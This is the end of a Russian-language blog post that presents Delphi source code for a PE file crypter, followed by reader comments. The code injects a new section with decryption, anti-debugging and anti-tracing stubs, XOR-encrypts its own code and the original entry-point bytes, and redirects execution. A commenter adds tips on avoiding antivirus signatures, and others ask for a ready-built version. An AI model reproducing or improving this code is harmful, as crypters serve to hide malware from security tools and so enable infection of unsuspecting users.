      SetFilePointer(FHandle, -1, nil, FILE_CURRENT);

      { Вычисляем диапазон адресов для шифровки своего кода }
      SD_XorByte:= Random($FF)+1; // случайный XOR байт
      SD_StartOffset:= ImageNtHeaders.OptionalHeader.ImageBase +
        GetCurrentRVA + SizeOf(DecryptSign);
      SD_EndOffset:= ImageNtHeaders.OptionalHeader.ImageBase +
        NewSectionRVA + NewCodeSize;

      FillAddress(@DecryptSign, 1, SD_StartOffset);
      DecryptSign[6]:= SD_XorByte; // XOR байт
      FillAddress(@DecryptSign, 14, SD_EndOffset);

      { Записываем сигнатуру расшифровки }
      WriteFile(FHandle, DecryptSign, SizeOf(DecryptSign), dwTemp, nil);

      { Записываем антиотладочную сигнатуру }
      WriteFile(FHandle, AntiDebugSign, SizeOf(AntiDebugSign), dwTemp, nil);
      { Записываем антитрассировочную сигнатуру }
      WriteFile(FHandle, AntiTraceSign, SizeOf(AntiTraceSign), dwTemp, nil);

      { Вычисляем диапазон адресов для шифровки байтов на OEP }
      EP_XorByte:= Random($FF)+1; // случайный XOR байт
      EP_StartOffset:= ImageNtHeaders.OptionalHeader.ImageBase +
        ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
      EP_EndOffset:= EP_StartOffset + $FF;
      if EP_EndOffset > EndOfCodeSection then EP_EndOffset:= EndOfCodeSection;

      FillAddress(@DecryptSign, 1, EP_StartOffset);
      DecryptSign[6]:= EP_XorByte; // XOR байт
      FillAddress(@DecryptSign, 14, EP_EndOffset);

      { Записываем сигнатуру расшифровки }
      WriteFile(FHandle, DecryptSign, SizeOf(DecryptSign), dwTemp, nil);

      { записываем прыжок на OEP( оригинальная точка входа ) }
      // B8 xx xx xx xx  MOV EAX,xxxxxxxx
      // FF E0           JMP EAX
      B:= $B8;
      WriteFile(FHandle, B, SizeOf(B), dwTemp, nil);
      I:= ImageNtHeaders.OptionalHeader.ImageBase +
        ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
      WriteFile(FHandle, I, SizeOf(I), dwTemp, nil);
      W:=$E0FF;
      WriteFile(FHandle, W, SizeOf(W), dwTemp, nil);

      I:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);

      { Шифруем свой собственный код }
      B:= SD_XorByte;
      J:= SD_EndOffset - SD_StartOffset;
      Dec(SD_StartOffset, ImageNtHeaders.OptionalHeader.ImageBase);
      SetFilePointer(FHandle, RVAToOffset(SD_StartOffset, NewSectionRVA,
        NewSectionOffset), nil, FILE_BEGIN);
      for I:= 1 to J do
      begin
        ReadFile(FHandle, X, SizeOf(X), dwTemp, nil);
        W:= X;
        X:= X xor B;
        B:= W;
        SetFilePointer(FHandle, -1, nil, FILE_CURRENT);
        WriteFile(FHandle, X, SizeOf(X), dwTemp, nil);
      end;

      { Шифруем байты на OEP }
      B:= EP_XorByte;
      J:= EP_EndOffset - EP_StartOffset;
      SetFilePointer(FHandle, EntryPointOffset, nil, FILE_BEGIN);
      for I:= 1 to J do
      begin
        ReadFile(FHandle, X, SizeOf(X), dwTemp, nil);
        W:= X;
        X:= X xor B;
        B:= W;
        SetFilePointer(FHandle, -1, nil, FILE_CURRENT);
        WriteFile(FHandle, X, SizeOf(X), dwTemp, nil);
      end;

      { Устанавливаем EntryPoint в начало нашей секции }
      ImageNtHeaders.OptionalHeader.AddressOfEntryPoint:= NewSectionRVA;

      {****************************************************************************}

      { Записываем новый PE-заголовок }
      SetFilePointer(FHandle, PEHeaderOffset, nil, FILE_BEGIN);
      WriteFile(FHandle, ImageNtHeaders, SizeOf(ImageNtHeaders), dwTemp, nil);

      Write('File successfully protected');
      Result:= True;  // все готово!
    Quit:
      CloseHandle(FHandle);
    end;

    var
      FileName: string;
      dwFlags: DWORD;

    procedure GetParams;
    var
      I: Integer;
    begin
      dwFlags:= PROTECTION_FLAG_SAVEOVERLAY or PROTECTION_FLAG_MAKEBACKUP;
      for I:= 2 to ParamCount do
      begin
        if UpperCase(ParamStr(I)) = '-B' then
          if (dwFlags and PROTECTION_FLAG_MAKEBACKUP <> 0) then
            Dec(dwFlags, PROTECTION_FLAG_MAKEBACKUP);
        if UpperCase(ParamStr(I)) = '-O' then
          if (dwFlags and PROTECTION_FLAG_SAVEOVERLAY <> 0) then
            Dec(dwFlags, PROTECTION_FLAG_SAVEOVERLAY);
      end;
    end;

    begin
      SetErrorMode(SEM_FAILCRITICALERRORS);
      Writeln(#10#13, 'ProtExample', #10#13);
      if ParamCount > 0 then
      begin
        FileName:= ParamStr(1);
        GetParams;
        Randomize;
        ProtectFile(FileName, dwFlags);
      end else begin
        Writeln('Usage: ProtExample [InputFile] [Options]');
        Writeln('');
        Writeln('Options:');
        Writeln('   -b  don''t create backup file (default on)');
        Writeln('   -o  don''t save overlay (default on)');
      end;
    end.

Скачать исходник криптора на Делфи


18 комментариев к “Пишем криптор на Delphi (+ исходник криптора)”

  • admin 16.08.2010 в 01:37

    Знаю, что текст местами вылазит, но что поделаешь + это не сильно мешает :)

  • CraftR14 16.08.2010 в 15:49

    поставьте плагин highlight подсветка кода, все кодеры любят святищиеся штучки))

  • assd 17.08.2010 в 11:06

    Старая статья, которая скорее показывает возможность работы с пе форматом.

  • assd 17.08.2010 в 11:07

    Флещъ, чтобы не вылазил ставь плагин wp-codebox и в него сорцы хуячь

  • admin 17.08.2010 в 22:34

    Оке, спосебо :)

  • AD0 18.08.2010 в 11:21

    все отлично. вот ток врубится не могу как вывести свои сигнатуры…

  • ffxiv gil 07.09.2010 в 06:00

    Как известно в PE-файлах код хранится в секции (хотя это и не
    обязательно, код, например, можно хранить в заголовках). Для этого нам
    просто понадобится один из вариантов: дописать код к последней секции
    файла или создать новую секцию. Первый вариант легче, а мы легкого пути
    не ищем, поэтому выбираем второй.

  • dulinbas 27.03.2011 в 12:55

    DecryptSign[6]:= SD_XorByte; // XOR байт на делфи открыл здесь ошибка

  • вадим 03.10.2011 в 19:08

    интересная статья, но где вводиться обрабатываемый файл??? и как получить что то на выходе???извини за нубские вопросы, но тем не менее ….только начинаю позновать всё это))

    • Flashback 03.10.2011 в 22:46

      программа консольная. рано вам еще такие статьи читать, ибо результата все равно не будет.

  • Антон 08.01.2013 в 14:07

    Напишите пожалуйста как его использовать

  • Vasar 13.01.2013 в 15:21

    А можно сразу готовую и компилированную врсию

  • Cooper 10.02.2013 в 11:57

    Здравствуйте, где можно найти инфу по опкоду? Хочу написать криптор, шифрующий RC4. Подскажите пожалуйста =)

  • Tesla001 13.02.2013 в 18:53

    Добрый день
    не могли бы Вы описать как указывать путь к файлу? и что за процедура GetParams, о каких параметрах идёт речь? можно попродробней..

  • Ars 11.08.2013 в 14:55

    admin, ты м0л0дец, расписал в начале для нубов, про работу с PE форматом, о том как определить по заголовку прогу, данной инфы и так в инете полно, без твоей статьи..
    А вот как изменить точку входа на свою, как зашифровать OEP, ну и собсна сама функа крипта — молчок(
    Такое ощущение , что статью писали 2 разных человека…
    Ну а конкретно по статье, для криптора, ИМХО, метку что файл уже криптован вообще лучьше убрать, так как по ней антивири и будут палить, так что уж если и делать её, то делать мусор+результат мат функции, что бы четкую сигнатуру положить нельзя было (ну а в идеале использовать асинхронные алгоритмы, шифровать публичным ключём а проверять приватным)..

  • BHC FLYED AND POSTED THIS 22.04.2014 в 00:43

    Автор ты не против что я размещу это у себя на сайте? Естественно укажу копирайты и гиперссылку.

    • Flashback 22.04.2014 в 18:18

      Автор — Bagie, а не я. Никакие гипрессылки указывать не обязательно. У меня когда-то эта статья была сохранена и я решил ею поделиться.

Написать комментарий к BHC FLYED AND POSTED THIS

XHTML: Вы можете использовать эти теги: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>